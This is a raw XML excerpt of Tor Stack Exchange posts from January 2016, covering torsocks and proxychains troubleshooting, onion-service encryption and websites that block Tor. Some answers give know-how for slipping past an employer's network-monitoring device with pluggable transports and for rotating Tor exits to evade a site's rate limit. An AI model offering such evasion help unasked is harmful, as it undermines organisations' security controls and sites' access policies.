  <row Id="9422" PostTypeId="2" ParentId="9409" CreationDate="2016-01-11T10:43:50.717" Score="2" Body="&lt;p&gt;Running a relay is a great start if you have the resources, but using Tor for at least some of your daily browsing does help make Tor traffic look more &quot;normal&quot; indeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If websites see more of their everyday users coming from Tor then they should see less of a threat. As you come across sites which block Tor traffic, contact the site owners to tell them you use Tor for your privacy &amp;amp; security but still want to be able to access their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more users we have using Tor for their privacy &amp;amp; security, and letting websites (and the world) know that, the better the network will be perceived for everybody.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2016-01-11T10:43:50.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9425" PostTypeId="2" ParentId="9409" CreationDate="2016-01-11T20:16:25.513" Score="2" Body="&lt;p&gt;(Just to add to the other answers with one that's possibly quite simplistic and obvious... )&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So should users like me (who are personally not bothered about&#xA;  anonymity) follow different recommendations and use Tor for as much&#xA;  normal activity as possible, &lt;strong&gt;to make it easier for others to hide&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just by using the network you're increasing the size of its user-base and making the crowd in which other users can hide that little bit bigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you &lt;em&gt;shouldn't&lt;/em&gt; do is make yourself stand out from the crowd in any way. By standing out you differentiate yourself from the others, and thereby don't add to the identical, anonymous crowd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this respect the usual advice applies for ensuring you remain indistinguishable from other users with regards to &lt;a href=&quot;https://stackoverflow.com/a/28202492/2875107&quot;&gt;browser fingerprinting&lt;/a&gt;. For example, one thing you shouldn't do is install browser &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherExtensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;extensions or add-ons&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to test the level of uniqueness in your browser is by using &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Panopticlick&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-01-11T22:12:16.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9426" PostTypeId="2" ParentId="6277" CreationDate="2016-01-12T05:40:31.860" Score="0" Body="&lt;p&gt;Sometimes entering a first captcha AND forcibly refreshing the whole page helps, for me it worked in FF and Chrome. It seems that a cookie is issued or a sessionID provided is marked as &quot;non-malware&quot;. Does not work on any/all page(s), but sometimes helps(~40%)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-12T05:40:31.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9428" PostTypeId="2" ParentId="1882" CreationDate="2016-01-12T12:52:37.910" Score="0" Body="&lt;p&gt;You can also use third party firewall like tools : ZoneAlarm or Glasswire to restrict the connection on protocols and services.&lt;/p&gt;&#xA;" OwnerUserId="10267" LastActivityDate="2016-01-12T12:52:37.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9430" PostTypeId="1" AcceptedAnswerId="9433" CreationDate="2016-01-12T18:09:59.553" Score="0" ViewCount="35" Body="&lt;p&gt;I need to get some data from one website. The amount of data is big so I will need a script for this. And the site forbids the access after a dozen or so requests. I could use the tor network as a proxy to circumvent this restriction, but won't I abuse any rules / fair policy in such a case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean it would be thousands requests.&lt;/p&gt;&#xA;" OwnerUserId="5022" LastActivityDate="2016-10-09T22:11:38.707" Title="Can I use the tor network in a script, won't I be abusing any rules?" Tags="|abuse|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9431" PostTypeId="1" AcceptedAnswerId="9435" CreationDate="2016-01-12T21:17:13.773" Score="2" ViewCount="298" Body="&lt;p&gt;At my location, a Sophos RED 50 has been installed. This has compromised my ability to use my VPN (Private Internet Access). This created an internal VPN, and all my internet traffic is now being routed and monitored through another offsite location. This also has compromised my ability to connect to the Tor network. I have tried using a L2TP connection to Private Internet Access (at their recommendation), but that didn't work as well. I am going to set up a whonix VM station, but I doubt that will work as well, since it uses Tor exclusively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with these types of devices or recommendations for keeping my browsing private? Is there any way I can use Tor or a VPN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple VPNs can be tricky apparently, and I (sys admin locally) do not have control of this device.&#xA;I know it a place of work, and they have every right, but I can't help myself... keeping myself secure is peace of mind. Link below is pdf of the device in question. I will answer any question I believe won't subvert the security of my company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sophos.com/en-us/medialibrary/PDFs/factsheets/sophosreddsna.pdf?la=en&quot; rel=&quot;nofollow&quot;&gt;https://www.sophos.com/en-us/medialibrary/PDFs/factsheets/sophosreddsna.pdf?la=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;edit: I have two torrc files, tried bridged and not bridged, so I'll post logs of both. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge obfs3 &quot;IP&quot; &quot;signature&quot;&#xA;DataDirectory C:\Users\[######]\Desktop\Tor Browser\Browser\TorBrowse\Data\Tor  &#xA;GeoIPFile C:\Users\[######]\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip  &#xA;GeoIPv6File C:\Users\[######]\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6  &#xA;HiddenServiceStatistics 0  &#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;torrc.orig.1 was blank. An example of the logs I get trying to connect directly to tor looks like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1/13/2016 8:28:25 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;br&gt;&#xA;  1/13/2016 8:28:28 AM.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150&lt;br&gt;&#xA;  1/13/2016 8:28:35 AM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server&lt;br&gt;&#xA;  1/13/2016 8:28:35 AM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server&lt;br&gt;&#xA;  1/13/2016 8:28:35 AM.700 [WARN] Proxy Client: unable to connect to &quot;IP address&quot; (&quot;general SOCKS server failure&quot;)&lt;br&gt;&#xA;  1/13/2016 8:28:56 AM.600 [WARN] Proxy Client: unable to connect to &quot;IP address&quot; (&quot;general SOCKS server failure&quot;)&lt;br&gt;&#xA;  1/13/2016 8:28:56 AM.600 [WARN] Proxy Client: unable to connect to &quot;IP address&quot; (&quot;general SOCKS server failure&quot;)&lt;br&gt;&#xA;  1/13/2016 8:28:56 AM.600 [WARN] Proxy Client: unable to connect to &quot;IP address&quot; (&quot;general SOCKS server failure&quot;)&lt;br&gt;&#xA;  1/13/2016 8:32:15 AM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&lt;br&gt;&#xA;  1/13/2016 8:32:15 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;br&gt;&#xA;  1/13/2016 8:32:15 AM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using obfs3 bridges yields the same log essentially.&lt;/p&gt;&#xA;" OwnerUserId="10481" LastEditorUserId="88" LastEditDate="2016-03-15T15:49:48.440" LastActivityDate="2016-03-15T15:49:48.440" Title="Remote Ethernet Devices blocking VPN and Tor" Tags="|configuration|vpn|obfsproxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9433" PostTypeId="2" ParentId="9430" CreationDate="2016-01-13T00:07:24.033" Score="1" Body="&lt;p&gt;it seems to be a normal Tor usage, of course if you're not violating law or cheating by doing this&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T00:07:24.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9434" PostTypeId="2" ParentId="8806" CreationDate="2016-01-13T00:11:28.180" Score="0" Body="&lt;p&gt;Cookies can be used without any scripting on the client side at all! They're different than JS functionality of your endpoint. So the answer is &lt;strong&gt;Yes&lt;/strong&gt;, they can be used on a server side, and &lt;strong&gt;No&lt;/strong&gt; client-side processing will be possible if you're disabling scripts in your browser.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T00:11:28.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9435" PostTypeId="2" ParentId="9431" CreationDate="2016-01-13T03:32:02.107" Score="1" Body="&lt;p&gt;You should try pluggable transports, especially &lt;strong&gt;Meek&lt;/strong&gt; and &lt;strong&gt;Obfs4&lt;/strong&gt;. Of it won't help you, please post a torrc and error log here, I'll be able to help you further&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 13.1.2016 on your edit: &#xA;Try to use tor from Git - the latest version, Im using it. Also please paste a log from the very beginnig, i.e. with a shell cmd to execute a binary. Try to use my &lt;code&gt;torrc&lt;/code&gt; options in Git-builded tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RunAsDaemon 0&#xA;PidFile /var/run/tor&#xA;FastFirstHop 0&#xA;AllowSingleHopCircuits 0&#xA;EnforceDistinctSubnets 1&#xA;UseEntryGuards 1&#xA;DisableAllSwap 1&#xA;AvoidDiskWrites 1&#xA;NumCPUS 2&#xA;ConnLimit 16384&#xA;DataDirectory /usr/tor/data&#xA;GeoIPFile /usr/tor/share/tor/geoip&#xA;GeoIPv6File /usr/tor/share/tor/geoip6&#xA;Log notice stdout&#xA;SocksListenAddress 127.0.0.1&#xA;SocksPort 9050&#xA;LongLivedPorts 21,22,80,443,465,554,636,706,873,993,995,1863,2401,3690,4155,5050,5190,5222,5223,5269,5298,6523,6666,6667,6668,6669,6697,6881,6882,6883,6884,6885,6886,6887,6888,6889,7000,8000,8010,8300,8554&#xA;ClientOnly 1&#xA;DNSPort 53&#xA;DNSListenAddress 127.0.0.1&#xA;DisableDebuggerAttachment 0&#xA;DynamicDHGroups 1&#xA;BandwidthRate 1024KBytes&#xA;BandwidthBurst 1024KBytes&#xA;PublishServerDescriptor 1&#xA;ServerTransportPlugin obfs2,obfs3 exec /usr/local/bin/obfsproxy --data-dir /usr/tor/obfsproxy managed&#xA;ExtORPort 6699&#xA;User tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change your path's respectively to your setup and let's take a look what it will do. Also try to seed your instance outside the censored network, i.e. via usb 3g/4g dongle, and then change &lt;code&gt;UseEntryGuards&lt;/code&gt; to 0&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-01-13T15:59:37.387" LastActivityDate="2016-01-13T15:59:37.387" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9436" PostTypeId="2" ParentId="1882" CreationDate="2016-01-13T03:43:15.650" Score="0" Body="&lt;p&gt;If you're about to perform it on one host, then after Windows XP the answer is &quot;it's impossible&quot;. Try to use IPFW for Windows, it's available as an open source software, but I was not able to run it in Vista and Windows 8&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T03:43:15.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9437" PostTypeId="1" AcceptedAnswerId="9492" CreationDate="2016-01-13T10:41:05.017" Score="2" ViewCount="4126" Body="&lt;p&gt;I installed tor and torsocks on OS X 10.11 with brew and then ran tor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ brew up&#xA;$ brew install tor torsocks&#xA;$ tor --version&#xA;Tor version 0.2.7.6.&#xA;$ torsocks --version&#xA;Torsocks 2.1.0&#xA;$ tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In another terminal window, I checked that the connection to the tor network was OK.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --socks5-hostname localhost:9050 https://check.torproject.org/api/ip&#xA;{&quot;IsTor&quot;:true,&quot;IP&quot;:&quot;81.209.35.112&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I tried to use torsocks, it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks curl https://check.torproject.org/api/ip &#xA;{&quot;IsTor&quot;:false,&quot;IP&quot;:&quot;XX.XXX.XX.XXX&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed that torsocks is a shell script and tried to reproduce its behaviour with the following commands but it didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ export DYLD_INSERT_LIBRARIES=/usr/local/Cellar/torsocks/2.1.0/lib/torsocks/libtorsocks.dylib&#xA;$ export DYLD_FORCE_FLAT_NAMESPACE=1&#xA;$ curl https://check.torproject.org/api/ip&#xA;{&quot;IsTor&quot;:false,&quot;IP&quot;:&quot;XX.XXX.XX.XXX&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do to debug this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: the IP address returned by &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org&lt;/a&gt; is mine, ie. &lt;code&gt;torsocks curl https://check.torproject.org/api/ip&lt;/code&gt; and &lt;code&gt;curl https://check.torproject.org/api/ip&lt;/code&gt; return exactly the same output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: tor log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ tor&#xA;Jan 14 17:16:34.173 [notice] Tor v0.2.7.6 running on Darwin with Libevent 2.0.22-stable, OpenSSL 1.0.2e and Zlib 1.2.5.&#xA;Jan 14 17:16:34.174 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jan 14 17:16:34.175 [notice] Configuration file &quot;/usr/local/etc/tor/torrc&quot; not present, using reasonable defaults.&#xA;Jan 14 17:16:34.180 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Jan 14 17:16:34.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.2.7.6/share/tor/geoip.&#xA;Jan 14 17:16:34.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.2.7.6/share/tor/geoip6.&#xA;Jan 14 17:16:34.000 [notice] Bootstrapped 0%: Starting&#xA;Jan 14 17:16:34.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Jan 14 17:16:35.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Jan 14 17:16:35.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Jan 14 17:16:35.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Jan 14 17:16:35.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10490" LastEditorUserId="10490" LastEditDate="2016-01-14T16:19:55.543" LastActivityDate="2016-01-19T11:14:06.597" Title="How to figure out why torsocks isn't working on OS X" Tags="|mac|torsocks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9439" PostTypeId="1" CreationDate="2016-01-13T14:57:27.603" Score="1" ViewCount="198" Body="&lt;p&gt;Hi I have have been trying to reach this site gamefly.com but they seem to be blocking the content from outside the US in my country but using tor when i try reach there site i get this error message &quot;Access Denied&#xA;You don't have permission to access &quot;&lt;a href=&quot;http://www.gamefly.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gamefly.com/&lt;/a&gt;&quot; on this server. Reference #18.864f655f.1452696659.9fa841f&quot; tried selecting the option My ISP blocks connection and obfs3 bridge but still no go. Any help would be greatful thanks.&lt;/p&gt;&#xA;" OwnerUserId="10494" LastActivityDate="2016-01-13T18:47:32.920" Title="Help with a website" Tags="|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9440" PostTypeId="2" ParentId="9439" CreationDate="2016-01-13T15:45:16.910" Score="1" Body="&lt;p&gt;Try to use &lt;strong&gt;Meek&lt;/strong&gt; pluggable transport, and if it won't help, post your error log and &lt;code&gt;torrc&lt;/code&gt; here, so I'll be able to assist you further&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T15:45:16.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9441" PostTypeId="2" ParentId="9183" CreationDate="2016-01-13T16:01:23.777" Score="0" Body="&lt;p&gt;Just bind it - if you're using IPTables - to the username. Create a username, let's say &lt;code&gt;clearnet&lt;/code&gt; and allow all the traffic for it to be direct.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T16:01:23.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9443" PostTypeId="2" ParentId="9437" CreationDate="2016-01-13T17:25:28.407" Score="0" Body="&lt;p&gt;Is the IP shown yours? If it's not - it's just a bug in an external detector you're using. Not all the exit nodes are detectable =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T17:25:28.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9445" PostTypeId="2" ParentId="9430" CreationDate="2016-01-13T18:13:23.527" Score="1" Body="&lt;p&gt;One thing to consider is that if the owners of the site realise what you're doing, and see lots of requests coming from lots of different Tor exit nodes in quick succession, they may decide to block Tor traffic completely. This may have an adverse effect on other Tor users who are using the site in more legitimate ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that currently there are ~1000 exit nodes, giving you ~12,000 requests. That might not be enough to raise suspicions... )&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-01-13T19:38:46.317" LastActivityDate="2016-01-13T19:38:46.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9446" PostTypeId="2" ParentId="9439" CreationDate="2016-01-13T18:47:32.920" Score="0" Body="&lt;p&gt;It looks like the site you're trying to visit is blocking connections either from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;your Tor exit node, because the address is outside of the US, or &lt;/li&gt;&#xA;&lt;li&gt;Tor traffic in general. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Rather than it being your ISP blocking access to the Tor network.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solutions are either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;Use an exit node&lt;/a&gt; inside the US (see &lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node?lq=1&quot;&gt;here&lt;/a&gt; for an example), or&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/6109/website-blocking-tor-traffic&quot;&gt;Use a VPN or proxy&lt;/a&gt; instead of (or in conjunction with) Tor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-13T18:47:32.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9447" PostTypeId="1" AcceptedAnswerId="9448" CreationDate="2016-01-13T19:18:05.323" Score="8" ViewCount="9079" Body="&lt;p&gt;I am building an application that will be connected over tor, using onion services. I just realized that the file generated by Tor that contains the private key of the hidden site is only RSA 1024bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't RSA 1024 considered weak?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the conversation when connecting to a hidden service encrypted only using RSA 1024? Should I wrap the conversation with another layer of encryption using a better RSA?&lt;/p&gt;&#xA;" OwnerUserId="8201" LastActivityDate="2016-08-29T08:39:21.750" Title="What encryption algorithms does Tor use?" Tags="|onion-services|anonymity|security|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9448" PostTypeId="2" ParentId="9447" CreationDate="2016-01-13T19:38:01.960" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What encryption algorithms does Tor use?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See the following sections of the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor Protocol Specification&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.2 Security parameters&lt;/li&gt;&#xA;&lt;li&gt;0.3 Ciphers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Isn't RSA 1024 considered weak?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;1024 hasn't been broken (yet... ), and you'd find moving to anything bigger makes things generally slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a useful discussion in &lt;a href=&quot;https://tor.stackexchange.com/questions/760/what-is-the-reasoning-behind-keeping-hidden-service-onion-rsa-keys-at-1024-lengt?rq=1&quot;&gt;this&lt;/a&gt; old thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to rolling your own more secure onion service, have a look at &lt;a href=&quot;https://tor.stackexchange.com/questions/3371/hidden-onion-service-with-2048-bit-or-4096-bit-rsa-private-key-how-to-host&quot;&gt;this&lt;/a&gt; thread.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-01-13T20:15:20.090" LastActivityDate="2016-01-13T20:15:20.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9449" PostTypeId="2" ParentId="939" CreationDate="2016-01-13T20:43:14.180" Score="0" Body="&lt;p&gt;And take a look at new offline key options &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13642&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T20:43:14.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9450" PostTypeId="1" CreationDate="2016-01-13T22:24:06.613" Score="2" ViewCount="180" Body="&lt;p&gt;Just wondering if &lt;a href=&quot;http://www.tcpcrypt.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.tcpcrypt.org/&lt;/a&gt; would be useful to add?&#xA;Also is there any work being done to replace/add encryption at the ODI level?&lt;/p&gt;&#xA;" OwnerUserId="10496" LastEditorUserId="88" LastEditDate="2016-10-11T08:24:57.077" LastActivityDate="2016-10-11T08:24:57.077" Title="Does Tor add encryption at the TCP protocol level?" Tags="|socks|protocol|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9451" PostTypeId="2" ParentId="9450" CreationDate="2016-01-13T22:35:33.277" Score="1" Body="&lt;p&gt;No it does not. Tor makes your &quot;request-&gt;destination&quot; chain to be private, at the exit node traffic is released &quot;as-is&quot;, no modifications&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-13T22:35:33.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9452" PostTypeId="1" CreationDate="2016-01-14T02:11:21.640" Score="1" ViewCount="6666" Body="&lt;p&gt;Why are clearnet sites on the hidden wiki etc if they are not really secure or hidden? Whats the difference between an onion site and a clearnet site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10501" LastActivityDate="2016-02-14T10:38:46.090" Title="Whats the difference between a clearnet site and an onion site?" Tags="|onion-routing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9453" PostTypeId="2" ParentId="7596" CreationDate="2016-01-14T02:26:45.693" Score="0" Body="&lt;p&gt;To answer your question, yes.  If you were the victim of a MITM attack, the attacker could easily modify anything on the page before it gets to your browser including links to the signing key, iso files, and the key fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, there is a way you can verify the identity of a website if it uses an EV (Extended Validation) SSL certificate.  If you use either Firefox or Chrome to view the site and you see the special EV treatment in the address bar, you can be confident that the site hasn't been tampered with in transit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I tried to include images of &quot;EV Treatment&quot; in Chrome and Firefox but apparently Stack Exchange counts images as additional links and I need &quot;at least 10 reputation to post more than 2 links&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internet Explorer also shows this special EV treatment but Microsoft deliberately allows EV indications to be forged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more in depth explanation of why EV certificates are &quot;spoof proof&quot; checkout &lt;a href=&quot;https://www.grc.com/ssl/ev.htm&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; by Gibson Research Corporation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GRC also provides a way to verify sites with non-EV certificates by comparing a site's &quot;certificate fingerprint&quot; with one obtained by GRC's &lt;a href=&quot;https://www.grc.com/fingerprints.htm&quot; rel=&quot;nofollow&quot;&gt;fingerprints page&lt;/a&gt;.  Of course relying on that tool implies some level of trust in GRC.  Namely that they aren't responsible for, nor in support of a MITM attack against you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume for a moment that GRC were victim to a MITM attack themselves.  The attacker could theoretically return the same bogus certificate to GRC that they displayed to you.  While this would only be possible for a global actor to accomplish it doesn't really matter because GRC uses an EV certificate so if they were victim to a MITM attack, you could detect it before using their fingerprint tool.&lt;/p&gt;&#xA;" OwnerUserId="10499" LastActivityDate="2016-01-14T02:26:45.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9455" PostTypeId="2" ParentId="9437" CreationDate="2016-01-14T16:54:10.930" Score="0" Body="&lt;p&gt;I believe to use torsocks you use the handy torify wrapper and it just works, e.g. from yours above: &lt;code&gt;torify curl https://check.torproject.org/api/ip&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this method at the time of this writing to curl my own domain jamescampbell.us and it worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test on something that is actually a .onion site, try the duckduckgo onion url: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torify curl 3g2upl4pq6kufc4m.onion&lt;/code&gt; and check your results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get resolution errors, you can try the direct approach with curl domain resolution turned off that is built-in to curl (note the socks5-hostname vs socks5): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl --socks5-hostname 127.0.0.1:9050 3g2upl4pq6kufc4m.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that at least points you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2016-01-14T16:54:10.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9456" PostTypeId="1" CreationDate="2016-01-14T19:06:31.647" Score="0" ViewCount="6416" Body="&lt;p&gt;It seems weird...i have installed Tor,Privoxy and Proxychains on my Ubuntu for an experimental purpose..i managed to install it properly and got proxychain to run and resolve &lt;code&gt;gxxxxe.com&lt;/code&gt; &lt;code&gt;proxychains firefox www.gxxxxe.com&lt;/code&gt;, today i was exercising on one of the study i made about proxychains i just opened my terminal typed the same thing &lt;code&gt;proxychains firefox www.gxxxxe.com&lt;/code&gt; but end up in error.it does nothing it just opened the firefox and says server not found and on the terminal it was like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ProxyChains-3.1 (&lt;a href=&quot;http://proxychains.sf.net&quot; rel=&quot;nofollow&quot;&gt;http://proxychains.sf.net&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thats it a single line. no chaining and all happening, i really puzzled should i start anything before i use proxychain or is that any problem with DNS or the Tor circuit i have been trying to connect is down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on Terminal &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|DNS-response|: self-repair.mozilla.org does not exist&#xA;|DNS-request| support.mozilla.org &#xA;|S-chain|-&amp;lt;&amp;gt;-127.0.0.1:9050-&amp;lt;--timeout&#xA;|DNS-response|: support.mozilla.org does not exist&#xA;|DNS-request| support.mozilla.org &#xA;|S-chain|-&amp;lt;&amp;gt;-127.0.0.1:9050-&amp;lt;--timeout&#xA;|DNS-response|: support.mozilla.org does not exist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My conf :&lt;code&gt;socks5  127.0.0.1 9050&lt;/code&gt; at the end of proxychain config and&#xA;&lt;code&gt;forward-socks5 / 127.0.0.1:9050&lt;/code&gt; at the end of privoxy config.&lt;/p&gt;&#xA;" OwnerUserId="9376" LastEditorUserId="9376" LastEditDate="2016-01-14T19:58:30.070" 